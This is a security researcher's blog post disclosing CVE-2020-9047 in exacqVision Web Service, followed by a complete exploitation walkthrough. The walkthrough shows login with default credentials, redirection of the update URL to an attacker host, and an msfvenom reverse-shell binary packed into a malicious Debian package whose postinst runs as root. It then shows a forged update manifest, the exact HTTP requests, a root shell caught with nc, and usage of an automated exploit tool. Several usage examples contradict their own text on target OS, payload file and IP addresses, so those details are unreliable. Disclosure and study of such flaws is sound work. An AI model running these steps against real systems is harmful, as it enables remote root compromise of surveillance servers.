Exploiting CVE-2020-9047 (ICSA-20-170-01)

20 minute read

On April 9, 2020, I discovered and reported the vulnerability in the exacqVision Web Service that has since been designated CVE-2020-9047 (ICSA-20-170-01) to the Johnson Controls Product Security team. The vulnerability was publicly disclosed by Johnson Controls on June 18, 2020. This vulnerability also affects exacqVision Enterprise Manager, however I was unaware of this at the time of discovery. As discovering such a vulnerability is out of the ordinary and exciting to me, I have since spent a decent amount of time researching the vulnerability while waiting for its public disclosure. Bits of this research will serve as the subject matter of this post.

If you or someone you know is using a vulnerable version of exacqVision Web Service or exacqVision Enterprise Manager, then please patch/urge whoever you know to patch. At the very least, ensure/confirm that you’ve configured a strong password for logging in to the configuration panel. As an additional security measure, some versions include the “Enable Localhost Restriction” option, which, when enabled, disables access from all external sources.

Disclosure Timeline

Vulnerability discovered: 04/08/2020
Vendor notified: 04/09/2020
Initial correspondence with vendor: 04/09/2020
Vulnerability disclosed by vendor: 06/18/2020
Incomplete fix released by vendor: 06/18/2020
Vendor notified of incomplete fix: 06/18/2020
Full fix released by vendor: 07/02/2020

CVE-2020-9047: Overview

The vulnerability CVE-2020-9047 received a 6.8 on the Common Vulnerability Scoring System (CVSS) with the CVSS vector string AV:N/AC:H/PR:H/UI:R/S:C/C:L/I:H/A:L, qualifying it as a medium-risk vulnerability. The vulnerability is exploitable once a user has authenticated to the exacqVision Web Service Administration panel. To summarily describe the vulnerability, the issue arises because the application will download and “install” (execute) arbitrary Windows executable (.exe) and Linux Debian package (.deb) files. Through this process, it is possible to gain complete control of the system that is running the vulnerable service. Since the executable/package file installation process is run as a high-privleged user on the underlying system, any provided (arbitrary) executable/package file will be subsequently “installed” (executed) with the same high-privilege permission.

Note: In my opinion, this vulnerability should have received a CVSS score higher than 6.8. I think a more accurate CVSS score might be a critical-risk 9.1, with the CVSS vector string AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H

All Windows and Linux versions of exacqVision Web Service prior to 20.06.4.0 are affected by this vulnerabilty. It is worth noting here that a default administrator user name and are automatically configured upon installation of early versions of the service. During the installation process of newer versions, the user is required to configure a strong password for the service. Upgrading from early versions (where a default administrator password may be in use), however, does not require the user to configure a new, strong password.

Note: I haven’t spent time researching the vulnerability in exacqVision Enterprise Manager, but information suggests that all versions (Windows and Linux) prior to 20.06.4.0 are susceptible to the vulnerability

The general steps required to exploit CVE-2020-9047 in the context of exacqVision Web Service are listed below and are described in more detail in the following section:

  1. An attacker successfully authenticates to the Web Service Administration panel found at (by default) http://www.vulnerable-evws.com/service.web.
  2. Then, from within the exacqVision Web Service Administration panel, the “Updates URL” field is changed from the default value of http://www.exacq.com/downloads/evFileInfo.txt to an attacker-controlled destination — for example, http://attacker-controlled.com/evFileInfo.txt.
  3. An attacker generates/creates a malicious update file (e.g., evil-package.deb, as mentioned below) that includes attacker-specfied programs/commands that will be downloaded and installed/executed by the vulnerable target system via the exacqVision Web Service version update functionality.
  4. The content within the attacker-controlled evFileInfo.txt is changed in such a way that suggests to the remote exacqVision Web Service upon request of the file, that a valid, recommended exacqVision Web Service version update is available, and that the update is available for download at, for example, http://www.attacker-controlled.com/evil-package.deb.
  5. The attacker-controlled evFileInfo.txt and evil-package.deb are hosted at http://attacker-controlled.com/evFileInfo.txt and http://www.attacker-controlled.com/evil-package.deb, respectively, before the vulnerable “Check For Updates” functionality available within the Web Service Administration panel is leveraged to instruct the vulnerable target to download and install/execute the malicious evil-package.deb package file.

Note: the process described above and in the following section has not been tested on ARM architecture systems.

Exploiting CVE-2020-9047: Linux

The following subsections outline the steps required to manually exploit CVE-2020-9047. In the demonstration/example, the vulnerable service is exacqVision Web Service version 7.8.2.97826 installed/running on a Linux x86 operating system.

Attacking Host: 10.0.0.11
exacqVision Web Service Host: 10.0.0.22

For the sake of readability, the content within all HTTP requests/responses in the following subsections have been URL-decoded.

1. Authenticating to the Web Service Configuration Panel

Authentication to the Web Service Administration panel is required to access the vulnerable functionalities within the service. As mentioned previously, early versions of exacqVision Web Service on configure a default user name of admin with a default password of admin256 upon installation.

In this example, the login page for the Web Service Administration panel is located at http:/10.0.0.22/service.web and can be authenticated to using the default credentials of admin:admin256. The login process is completed through one POST request to /service.web with the action=login&u=admin&p=admin256 form data, as shown in the request below.

POST /service.web HTTP/1.1
Host: 10.0.0.22
...
Content-Length: 31
Origin: http://10.0.0.22
Connection: close
Referer: http://10.0.0.22/service.web

action=login&u=admin&p=admin256

Successful authentication results in a server response that includes an authorization token, represented below.

HTTP/1.1 200 OK
Date: Mon, 01 Jun 2020 13:29:39 GMT
Server: Apache/2.4.20 (Unix)
...
Content-Length: 61
Connection: close
Content-Type: application/json

{"auth": "b5a5323fc67148a084f6b0bb5f4de83a", "success": true}

2. Changing the Updates URL

Once authenticated to the Web Service Administration panel, the “Updates URL” can be changed to an attacker-controlled location. In the version of exacqVision Web Service used in this example, the “Updates URL” page can be found within the web application in the “Configuration” sidebar tab under the “Updates” section.

Note: The default update URL is http://www.exacqvision.com/downloads/evFileInfo.txt. The content of evFileInfo.txt is important and will be explained in an upcoming step.

Continuing with the example, the “Updates URL” is changed to http://10.0.0.11/evFileInfo.txt.

Note: The attacker-controlled version of the evFileInfo.txt doesn’t need to be named evFileInfo.txt - only the content within the file is important.

Changing the update URL involves one POST request to http:/10.0.0.22/service.web/updates with the auth=b5a5323fc67148a084f6b0bb5f4de83a&url=http://10.0.0.11/evFileInfo.txt&timeout=10 form data. An example POST request and the susequent response are shown below.

POST /service.web/updates HTTP/1.1
Host: 10.0.0.22
...
Content-Length: 97
Origin: http://10.0.0.22
Connection: close
Referer: http://10.0.0.22/service.web?response=html&auth=b5a5323fc67148a084f6b0bb5f4de83a

auth=b5a5323fc67148a084f6b0bb5f4de83a&url=http://10.0.0.11/evFileInfo.txt&timeout=10
HTTP/1.1 200 OK
Date: Tue, 02 Jun 2020 02:59:47 GMT
Server: Apache/2.4.20 (Unix)
...
Content-Length: 35
Connection: close
Content-Type: application/json

{"success": true, "restart": false}

3. Creating a Malicious Debian Package

Next, a Debian package file is created that will be installed (and subsequently executed) as an “update” on the exacqVision Web Service host. In this example, a Debian package file will be created that includes an ELF 32-bit binary reverse shell payload that was generated with msfvenom. The msfvenom command used to generate the reverse shell payload and the resulting output is shown below.

┌─[root@parrot]─[~/demo]
└──╼ #msfvenom -a x86 --platform linux -p linux/x86/shell_reverse_tcp LHOST=10.0.0.11 LPORT=4444 -f elf -o shell_reverse_tcp
No encoder or badchars specified, outputting raw payload
Payload size: 68 bytes
Final size of elf file: 152 bytes
Saved as: shell_reverse_tcp

The Debian package directory/file structure used in this example includes an evil-package directory that contains a tmp subdirectory and a required DEBIAN subdirectory. Within the required evil-package/DEBIAN directory is the required control file as well as an executable postinst file that will be used to execute commands and, in this case, execute the shell_reverse_tcp binary on the target system. The shell_reverse_tcp payload generated previously is moved to the evil-package/tmp directory. The output below shows the previously described package directory/file structure.

┌─[root@parrot]─[~/demo]
└──╼ #tree
.
└── evil-package
    ├── DEBIAN
    │   ├── control
    │   └── postinst
    └── tmp
        └── shell_reverse_tcp

3 directories, 3 files

Put briefly, the DEBIAN/control file is a required file within a Debian package that acts as the binary package’s master control file. Each DEBIAN/control file requires a Package field, a Version field, an Architecture field, a Maintainer field, and a Description field. The file format of the control file is explained in further detail in man deb-control. The content of the control file in this example is shown below.

Package: evil-package
Version: 99.99.99.9999
Architecture: all 
Maintainer: John Doe 
Description: lorem ipsum

From man deb-postinst, a package can perform several post-installation actions via maintainer scripts, by including an executable postinst file in its control archive (i.e. DEBIAN/postinst during package creation). Whatever commands are included in the postinst file will be executed on the system post-installation of the Debian package.

In this example, the postinst file includes shell commands that will make the shell_reverse_tcp binary payload executable, run the shell_reverse_tcp binary as a background process, and start/restart the webservice and evapache services, respectively. Starting/restarting the webservice and evapache services ensures that the functionality of exacqVision Web Service is restored after the installation of the malicious Debian package is complete.

The content of the postinst file within the package directory structure relative to the example is shown below. Remember, the postinst file must have executable file permissions.

#!/bin/bash
service webservice start
service evapache restart
chmod 2755 /tmp/shell_reverse_tcp && /tmp/shell_reverse_tcp &

With all of the previously described files in place within the evil-package directory structure, the evil-packge.deb binary package file can be built. A reliable way to build binary package files that are compatible on both old and new versions of Linux operating systems (more specifically, both old and new versions of dpkg) is to use the dpkg-deb Debian package archive directory manipulation tool.

The dpkg-deb tool allows for the specification of gzip compression to be used when building a package. By default, new versions of dpkg and dpkg-deb use xz compression when building a package file, but support for xz compression was not added to dpkg until version 1.15.6. Therefore, versions of dpkg prior to 1.15.6 are unable to compress/decompress package files that are built using default xz compression.

The process of building the evil-package.deb file using gzip compression is shown below.

┌─[root@parrot]─[~/demo]
└──╼ #/usr/bin/dpkg-deb -Zgzip --build evil-package
dpkg-deb: building package 'evil-package' in 'evil-package.deb'.
┌─[root@parrot]─[~/demo]
└──╼ #file evil-package.deb 
evil-package.deb: Debian binary package (format 2.0), with control.tar.gz, data compression gz

4. Modifying evFileInfo.txt

Recall the evFileInfo.txt file that was introduced in step two. By default, exacqVision Web Service consults the evFileInfo.txt file located at http://attacker-controlled.com/evFileInfo.txt for information regarding service updates.

In the current example where the vulnerable service version 7.8.2.97826 is installed/running on a Linux x86 operating system, when checking for updates, the service will parse the evFileInfo.txt file for updates relevant to the Linux operating system and the x86 architecture. For example, a valid service update to version 20.03.2.0 would be found within the genuine evFileInfo.txt file as defined within the file and represented below.

...
[ev-WebService-Linux-20.03.2.0]
Version=20.03.2.0
Date=03-05-2020
Downloadable=True
Link=https://cdnpublic.exacq.com/20.03/exacqVisionWebService_20.03.2.0_x86.deb
Package=Linux
Product=webservice
Signed=False
Filesize=124771822
ChecksumType=md5
ChecksumHash=fc73c9636d47d8828e77fcdeff3f309c
Status=Recommended
Extension=deb
...

The service checks that the information within the brackets match the service to be updated (ev-WebService), the operating system (Linux), and the system architecture (the lack of x64 after the operating system implies x86 in this context). The bracketed header additionally contains a version number (20.03.2.0). Under the bracketed header, the values of other items are checked before the update is qualified as valid.

Note: For clarification, a valid bracketed header within the evFileInfo.txt file for a Linux x64 system would be: [ev-WebService-Linux-x64-20.03.2.0]

The most important values to consider in the context of CVE-2020-9047 are Version, Link, Filesize, and ChecksumHash. The Version value must match the version specified in the bracketed header and the Debian package file referenced in the Link value must be the size (in bytes) specified as the Filesize value and also must match the MD5 checksum value specified as the ChecksumHash value.

Note: I haven’t tested the importance/requirement of every value under a bracketed header, but it appears deleting the “Signed” and “Extension” values does not have an impact on the outcome of the package validity check. The “Status” value of “Recommended” or “Optional” determines whether the update will be selected automatically when checking for updates through exacqVision Web Service GUI. The name of the file specified as the “Link” value does not need to contain the system’s architecture

The attacker-controlled evFileInfo.txt which will be located at http://10.0.0.11/evFileInfo.txt (the location specifed as the “Updates URL” in step two) should be made to contain information that will qualify the attacker-controlled evil-package.deb package file as a valid exacqVision Web Service version update. This means that the Link value should reference the location of evil-package.deb and the Filesize and ChecksumHash values should be the filesize and MD5 checksum values of the evil-package.deb file.

Note: The attacker controlled version of evFileInfo.txt does not need to be named evFileInfo.txt. Only the content of the file is important.

The evil-package.deb file will be hosted/served alongside the attacker-controlled evFileInfo.txt file at http://10.0.0.11/evil-package.deb which will be set as the Link value. Valid update version values loosly take the form of NN.NN.NN.NNNN, so a version number can simply be made up for the bracketed header and the Version value. The filesize value and the MD5 checksum value of the evil-package.deb file can be found using the ls -la and md5sum commands.

┌─[root@parrot]─[~/demo]
└──╼ #ls -la evil-package.deb; md5sum evil-package.deb 
-rw-r--r-- 1 root root 818 Jun  2 12:37 evil-package.deb
8c7b7ca17f550381218e6530bbfab2e6  evil-package.deb

The content of the attacker-controlled evFileInfo.txt which will be located at http://10.0.0.11/evFileInfo.txt is shown below.

[ev-WebService-Linux-99.99.99.9999]
Version=99.99.99.9999
Date=12-31-9999
Downloadable=True
Link=http://10.0.0.11/evil-package.deb
Package=Linux
Product=webservice
Filesize=818
ChecksumType=md5
ChecksumHash=8c7b7ca17f550381218e6530bbfab2e6
Status=Recommended
Extension=deb

5. Downloading/Executing the Malicious Debian Package

Now that the the vulnerable target’s update URL is set to search the attacker-controlled evFileInfo.txt for a valid version update that will result in the installation/execution of the evil-package.deb package on the target, the “Check For Updates” functionality available within the Web Service Administration panel can be leveraged to achieve this goal.

Before continuing, the attacker-controlled evFileInfo.txt and evil-package.deb files should be made available to the remote exacqVision Web Service system. Since the vulnerable service’s update URL is configured to check http://10.0.0.11/evFileInfo.txt for updates and the attcker-controlled evFileInfo.txt references http://10.0.0.11/evil-package.deb as the Link location of the “update” file, the two files will be made available to the remote system on HTTP port 80, as shown below.

┌─[root@parrot]─[~/demo]
└──╼ #python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

Additionally, a nc listener is started on the attacking system to handle the connection from the shell_reverse_tcp payload.

┌─[root@parrot]─[~/demo]
└──╼ #nc -lvp 4444
listening on [any] 4444 ...

The “Check For Updates” button can be found within the web application in the “Configuration” sidebar tab under the “Updates” section. The “Check For Updates” process consists of (at a minimum) four requests. The four requests and their subsequent responses are briefly explained and shown below.

The first request in the process is a GET request with a specified action of updatecheck that accesses/reads the http://10.0.0.11/evFileInfo.txt file in search of a valid service update.

GET /service.web?auth=b5a5323fc67148a084f6b0bb5f4de83a&action=updatecheck&updates_file=http://10.0.0.11/evFileInfo.txt HTTP/1.1
Host: 10.0.0.22
...
Connection: close
Referer: http://10.0.0.22/service.web?response=html&auth=b5a5323fc67148a084f6b0bb5f4de83a

The output below from the attacking system shows that the target system’s request for http://10.0.0.11/evFileInfo.txt was successful.

┌─[root@parrot]─[~/demo]
└──╼ #python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.0.0.22 - - [03/Jun/2020 07:19:21] "GET /evFileInfo.txt HTTP/1.1" 200 -

The response confirms that a valid exacqVision Web Service update was found within http://10.0.0.11/evFileInfo.txt. The “valid” update will update the version to 99.99.99.9999, is located at http://10.0.0.11/evil-package.deb, is Recommended and is 818 bytes in size.

HTTP/1.1 200 OK
Date: Tue, 26 May 2020 19:22:30 GMT
Server: Apache/2.4.20 (Unix)
...
Content-Length: 168
Connection: close
Content-Type: application/json

{"update_info": [{"version": "99.99.99.9999", "link": "http://10.0.0.11/evil-package.deb", "update_type": "Recommended", "total_file_size": 818}], "success": true}

The second request is a POST request to /service.web with the form data auth=b5a5323fc67148a084f6b0bb5f4de83a&action=downloadupdate&version=99.99.99.9999 that instructs the application to download the version 99.99.99.9999 update identified in the previous request.

POST /service.web HTTP/1.1
Host: 10.0.0.22
...
Content-Length: 81
Origin: http://10.0.0.22
Connection: close
Referer: http://10.0.0.22/service.web?response=html&auth=b5a5323fc67148a084f6b0bb5f4de83a

auth=b5a5323fc67148a084f6b0bb5f4de83a&action=downloadupdate&version=99.99.99.9999

The POST request results in the target system requesting the http://10.0.0.11/evil-package.deb “update” from the attacking system, as shown below.

┌─[root@parrot]─[~/demo]
└──╼ #python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.0.0.22 - - [03/Jun/2020 07:30:20] "GET /evFileInfo.txt HTTP/1.1" 200 -
10.0.0.22 - - [03/Jun/2020 07:30:22] "GET /evil-package.deb HTTP/1.1" 200 -

The response confirms that the “update” package file was found successfully at http://10.0.0.11/evil-package.deb.

HTTP/1.1 200 OK
Date: Tue, 26 May 2020 19:22:34 GMT
Server: Apache/2.4.20 (Unix)
...
Content-Length: 17
Connection: close
Content-Type: application/json

{"success": true}

The third request is another GET request with a specified action of downloadupdatestatus that references the update to version 99.99.99.9999.

GET /service.web?auth=b5a5323fc67148a084f6b0bb5f4de83a&action=downloadupdatestatus&version=99.99.99.9999 HTTP/1.1
Host: 10.0.0.22
...
Connection: close
Referer: http://10.0.0.22/service.web?response=html&auth=b5a5323fc67148a084f6b0bb5f4de83a

The response returns details regarding whether the download of the “update” package file is complete by comparing the current_file_size value to the total_file_size value of 818 identified in the first request of the “Check For Updates” process. Once the current_file_size and the total_file_size values are the same, the update file download is complete and the final request will be made.

HTTP/1.1 200 OK
Date: Tue, 26 May 2020 19:22:35 GMT
Server: Apache/2.4.20 (Unix)
...
Content-Length: 80
Connection: close
Content-Type: application/json

{"status": 2, "success": true, "current_file_size": 818, "total_file_size": 818}

The final (and fourth, in this case) request is a POST request with the form data auth=b5a5323fc67148a084f6b0bb5f4de83a&action=update&version=99.99.99.9999. This request triggers the installation/execution of evil-package.deb on the underlying operating system. The application issues a shell command on the underlying system similar to dpkg --install evil-package.deb as the root user/with root permissions.

POST /service.web HTTP/1.1
Host: 10.0.0.22
...
Content-Length: 73
Origin: http://10.0.0.22
Connection: close
Referer: http://10.0.0.22/service.web?response=html&auth=b5a5323fc67148a084f6b0bb5f4de83a

auth=b5a5323fc67148a084f6b0bb5f4de83a&action=update&version=99.99.99.9999

As a result, the evil-package.deb package file is installed/executed and the commands within the postinst file are run with root permissions. The result is that the exacqVision Web Service services are started/restarted, and /tmp/shell_reverse_tcp is executed on the remote system. The output below shows the connection received from remote target system, that the package installation commands/postinst commands were executed with root privileges, and that the evil-package version 99.99.99.9999 is installed on the system.

Note: The version included in the DEBIAN/control file does not need to match the version specfied in the attacker’s evFileInfo.txt.

┌─[root@parrot]─[~/demo]
└──╼ #nc -lvp 4444
listening on [any] 4444 ...
10.0.0.22: inverse host lookup failed: Unknown host
connect to [10.0.0.11] from (UNKNOWN) [10.0.0.22] 56986
whoami
root
dpkg -l | grep evil-package
ii  evil-package                          99.99.99.9999                                   all          lorem ipsum

The response returns that the update action was successful.

HTTP/1.1 200 OK
Date: Tue, 26 May 2020 19:22:35 GMT
Server: Apache/2.4.20 (Unix)
...
Content-Length: 17
Connection: close
Content-Type: application/json

{"success": true}

Exploiting CVE-2020-9047: Windows

The steps for exploiting the vulnerability on Windows systems are similar to the the steps required to exploit the vulnerability on Linux systems. In fact, steps one, two, and five are the same regardless of the underlying operating system. As the steps to exploit the vulnerability on Linux sytems have already been outlined, the steps included in this section will be brief.

  1. Complete in the same manner as explained in Linux step one.
  2. Complete in the same manner as explained in Linux step two.
  3. Create/generate a Windows executable (.exe) file instead of a Debian package file. WARNING: It will take a little extra work to ensure the functionality of exacqVision Web Service is restored after the installation of the malicious Windows executable file. A failed exploitation attempt will result in crashing the service. The service must be started/restarted from the system running exacqVision Web Service before functionality will be restored.
  4. A valid bracketed header for Windows systems in the attacker-controlled evFileInfo.txt takes the form [ev-WebService-Windows-99.99.99.9999] for 32-bit architectures and [ev-WebService-Windows-x64-99.99.99.9999] for 64-bit architectures. The Link value should reference the attacker-controlled Windows executable file (ending with .exe) as created in step three. The Package value should be changed to the value of Windows. Complete the steps as outlined in Linux step four for other values.
  5. Complete in the same manner as explained in Linux step five.

Exploit Code: CVE-2020-9047.py

I have written a program that automates the steps required to exploit the vulnerability on Linux and Windows x86/x64 systems. The full code is available on GitHub. The program works on exacqVision Web Service versions 3.8.2.67295 - 20.06.3.0. The help section of the program (-h or --help) is rather verbose and is included below for reference. Following the help section are brief example use cases/demonstrations.

usage: CVE-2020-9047.py [-h] [-p RPORT] [-s LPORT] [--command] [-d WEBDIR]
                        [-U USERNAME] [-P PASSWORD]
                        {WINDOWS,LINUX,CHECK} RHOST LHOST PAYLOAD

Exploit for exacqVision Web Service as outlined in CVE-2020-9047. This program
targets Windows and Linux x86 installations of exacqVision Web Service
versions 3.8.2.67295 - 20.06.3.0. Written by Michael W. Norris.

positional arguments:
  {WINDOWS,LINUX,CHECK}
                        The target operating system. Provide "WINDOWS" for
                        Windows, "LINUX" for Linux, or "CHECK" to have this
                        program perform a check. When using "CHECK", '' can be
                        provided for the LHOST and PAYLOAD arguments.
  RHOST                 The IP address of the remote host; the IP address of
                        the target.
  LHOST                 The local IP address that will serve the payload for
                        the remote host. This should not be "localhost" or
                        "127.0.0.1". The remote host will need to be able to
                        connect to the provided IP address. This program
                        should be run on the system with the specified IP
                        address.
  PAYLOAD               The absolute file path of an existing Windows
                        executable (.exe) or Linux binary file on the local
                        system. The binary will be executed on the remote
                        host. If the --command flag is set and "LINUX" was
                        provided as the TARGET argument, enter a command that
                        will be executed on the remote host.

optional arguments:
  -h, --help            show this help message and exit
  -p RPORT              The port on the remote host where exacqVision Web
                        Service is running. Default: 80
  -s LPORT              The local port that will be used to serve the payload
                        file for the remote host. Default: 8000
  --command             Sets the command flag. The flag allows for a command
                        to be provided as the PAYLOAD argument instead of a
                        file path to a binary. The provided command will be
                        executed on the remote host. The flag should be set
                        only if "LINUX" was provided as the TARGET argument.
  -d WEBDIR             The local existing directory where a randomly named
                        temporary directory will be created. Default: /tmp
  -U USERNAME           The username for authenticating to the remote
                        exacqVision Web Service application. Default: admin
  -P PASSWORD           The password for authenticating to the remote
                        exacqVision Web Service application. Default: admin256

Usage Example I: System Check

To check whether a system is vulnerable to CVE-2020-9047 as well as susceptible to this exploit and/or to fingerprint the remote host’s operating system/architecture, use the following command syntax. In this example, the remote host is 10.0.0.22 (RHOST).

┌─[root@parrot]─[~/demo]
└──╼ #python3 CVE-2020-9047.py CHECK 10.0.0.22 '' ''
Target OS: Linux i686
EVWS Version: 7.8.2.97826

Exploitable: YES

Usage Example II: Linux ELF File Payload

To instruct the remote Linux system 10.0.0.22 (RHOST) running exacqVision Web Service on TCP port 8080 to install/execute an ELF binary payload that is present on the local system 10.0.0.11 (LHOST) on TCP port 80 at absolute file path /root/demo/shell_reverse_tcp (PAYLOAD), use the following command syntax.

┌─[root@parrot]─[~/demo]
└──╼ #python3 CVE-2020-9047.py LINUX 10.0.0.22 -p 8080 10.0.0.11 -s 80 '/root/demo/ping_me'
Target OS: Linux i686
EVWS Version: 7.8.2.97826

Exploitable: YES
Confirm the specified PAYLOAD is compatible with the remote architecture
Press ENTER to continue or CTRL+C to exit

Starting HTTP server on 0.0.0.0:80
Serving payload from /tmp/tmpo7516343 directory

192.168.57.161 - - [03/Jun/2020 23:11:09] "GET /op0tv6l4 HTTP/1.1" 200 -
192.168.57.161 - - [03/Jun/2020 23:11:13] "GET /aax35u41.deb HTTP/1.1" 200 -

Removing temporary directory structure /tmp/tmpo7516343
Stopping HTTP server on 0.0.0.0:80

Usage Example III: Linux Command Payload

To specify a command (--command) to be excuted on the remote Linux system as the PAYLOAD argument (instead of an ELF binary payload), use the following command syntax.

┌─[root@parrot]─[~/demo]
└──╼ #python3 CVE-2020-9047.py LINUX 10.0.0.22 10.0.0.11 --command 'ping -c 5 10.0.0.11'
Target OS: Linux i686
EVWS Version: 7.8.2.97826

Exploitable: YES
The provided command will be executed on the remote system
Press ENTER to continue or CTRL+C to exit

Starting HTTP server on 0.0.0.0:8000
Serving payload from /tmp/tmpp2wmx5x3 directory

192.168.57.161 - - [03/Jun/2020 23:22:04] "GET /no_n0zgk HTTP/1.1" 200 -
192.168.57.161 - - [03/Jun/2020 23:22:08] "GET /1vlkyw3.deb HTTP/1.1" 200 -

Removing temporary directory structure /tmp/tmpp2wmx5x3
Stopping HTTP server on 0.0.0.0:8000

Note: Specifying a command as a the PAYLOAD argument is only supported for remote Linux hosts.

Usage Example IV: Windows Executable File Payload

To instruct the remote Windows system 10.0.0.33 (RHOST) with the exacqVision Web Service password of asdf1234!@#$ to install/execute a Windows executable payload that is present on the local system 10.0.0.11 (LHOST) at absolute file path /root/demo/calc.exe (PAYLOAD), use the following command syntax.

┌─[root@parrot]─[~/demo]
└──╼ #python3 CVE-2020-9047.py LINUX 10.0.0.33 -P 'asdf1234!@#$' 10.0.0.11 '/root/demo/shell_bind_tcp.exe'
Target OS: windows Intel(R) Core(TM) i3-3220 CPU @ 3.30GHz
EVWS Version: 9.8.4.149166

Exploitable: YES
Confirm the specified PAYLOAD is compatible with the remote architecture
Press ENTER to continue or CTRL+C to exit

Starting HTTP server on 0.0.0.0:8000
Serving payload from /tmp/tmpgizzpfa4 directory

192.168.57.161 - - [03/Jun/2020 23:25:09] "GET /4kdjekqk HTTP/1.1" 200 -
192.168.57.161 - - [03/Jun/2020 23:25:13] "GET /fp92ecyj.exe HTTP/1.1" 200 -

Removing temporary directory structure /tmp/tmpgizzpfa4
Stopping HTTP server on 0.0.0.0:8000